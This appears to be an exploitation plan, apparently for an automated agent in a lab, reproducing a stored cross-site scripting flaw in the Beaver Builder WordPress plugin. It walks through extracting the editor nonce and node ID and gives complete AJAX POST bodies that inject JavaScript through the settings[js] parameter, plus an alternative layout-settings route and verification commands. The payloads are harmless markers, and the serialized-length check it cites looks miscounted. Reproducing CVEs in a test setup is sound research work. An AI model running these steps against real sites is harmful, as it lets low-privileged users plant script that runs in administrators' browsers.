Exploitation Research Plan - CVE-2026-2481 (Beaver Builder Stored XSS)

1. Vulnerability Summary

The Beaver Builder Page Builder plugin (versions <= 2.10.1.1) contains a stored cross-site scripting (XSS) vulnerability. The vulnerability exists in the handling of the settings[js] parameter when saving node or layout settings. While Beaver Builder allows administrators to add custom JavaScript to pages, it fails to verify if the user performing the save operation has the unfiltered_html capability. Consequently, an authenticated user with Author-level access (who typically lacks unfiltered_html on a standard WordPress install) can inject and save arbitrary JavaScript that executes whenever the affected page is rendered.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• AJAX Action: fl_builder_save_node_settings or fl_builder_save_layout_settings (handled by FLBuilderAjax).
• Vulnerable Parameter: settings[js]
• Authentication Required: Authenticated user with at least Author permissions. Authors can edit their own posts and use the Beaver Builder interface.
• Preconditions: The Beaver Builder editor must be active for a post owned by the attacker.

3. Code Flow

1. The attacker (Author) opens a post in the Beaver Builder editor.
2. The editor interface sends an AJAX request to admin-ajax.php with the action fl_builder_save_node_settings.
3. The request is routed to FLBuilderAjax::save_node_settings() in classes/class-fl-builder-ajax.php.
4. This function retrieves the settings array from the $_POST superglobal.
5. The settings are passed to FLBuilderModel::save_node_settings() (in classes/class-fl-builder-model.php).
6. The plugin fails to sanitize the js key within the settings array for users lacking the unfiltered_html capability.
7. The malicious payload is stored in the post's metadata (serialized in _fl_builder_data).
8. When any user (including an Administrator) views the page, FLBuilder::render_nodes() is called, which eventually outputs the content of the js setting inside a <script> block on the frontend.

4. Nonce Acquisition Strategy

Beaver Builder heavily relies on nonces for its AJAX operations. The nonce is localized in the frontend editor.

• Localization Variable: FLBuilderConfig
• Nonce Key: nonce
• Strategy:
  1. Create or identify a post owned by the Author.
  2. Ensure Beaver Builder is enabled for that post.
  3. Navigate to the post's frontend with the Beaver Builder editor active (usually by appending ?fl_builder to the URL).
  4. Use browser_eval to extract the nonce.

// Extraction via browser_eval
window.FLBuilderConfig?.nonce

5. Exploitation Strategy

Step 1: Authentication & Setup

1. Authenticate as an Author user.
2. Identify a post ID (TARGET_POST_ID) that the Author can edit.
3. Ensure Beaver Builder is active for this post: wp beaver edit TARGET_POST_ID (or via standard UI).

Step 2: Extract Nonce and Node ID

1. Navigate to the editor: browser_navigate(TARGET_URL + "?fl_builder").
2. Extract the AJAX nonce: browser_eval("window.FLBuilderConfig.nonce").
3. Extract a valid Node ID (the ID of a row or module on the page): browser_eval("window.FLBuilderConfig.nodes[Object.keys(window.FLBuilderConfig.nodes)[0]].node_id").

Step 3: Inject XSS Payload

Send the malicious AJAX request to save the settings for the identified node.

• Tool: http_request
• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Headers: Content-Type: application/x-www-form-urlencoded
• Body:

action=fl_builder_save_node_settings
&node_id=TARGET_NODE_ID
&node_type=module
&settings[js]=alert(document.domain)
&fl_builder_confirm_save=true
&nonce=EXTRACTED_NONCE

Step 4: Verification

1. Navigate to the public view of the page (without the builder active).
2. The script alert(document.domain) should execute.

6. Test Data Setup

1. Attacker User: Create a user with the author role.
2. Target Post: Create a post titled "XSS Test" assigned to the Author.
3. Plugin Config: Ensure the "Code Settings" are enabled in Beaver Builder Advanced settings (this is the default state).
   • wp option update _fl_builder_advanced_settings '{"node_code":"1"}' --format=json

7. Expected Results

• The AJAX response should return a JSON object indicating success (usually {"success": true}).
• When viewing the post source, the string alert(document.domain) should be visible inside a script block generated by Beaver Builder, typically associated with the specific node.

8. Verification Steps (Post-Exploit)

Check the database to confirm the payload is stored in the _fl_builder_data meta field:

wp post meta get <TARGET_POST_ID> _fl_builder_data

Verify the output contains the injected string: s:2:"js";s:21:"alert(document.domain)";.

9. Alternative Approaches

If fl_builder_save_node_settings is not the specific vulnerable path, try fl_builder_save_layout_settings. This action saves settings for the entire layout.

Alternative Body:

action=fl_builder_save_layout_settings
&settings[js]=console.log('XSS_SUCCESS')
&nonce=EXTRACTED_NONCE

The "Layout Settings" JS is often rendered globally for the post, making it a reliable target for XSS that survives node deletions.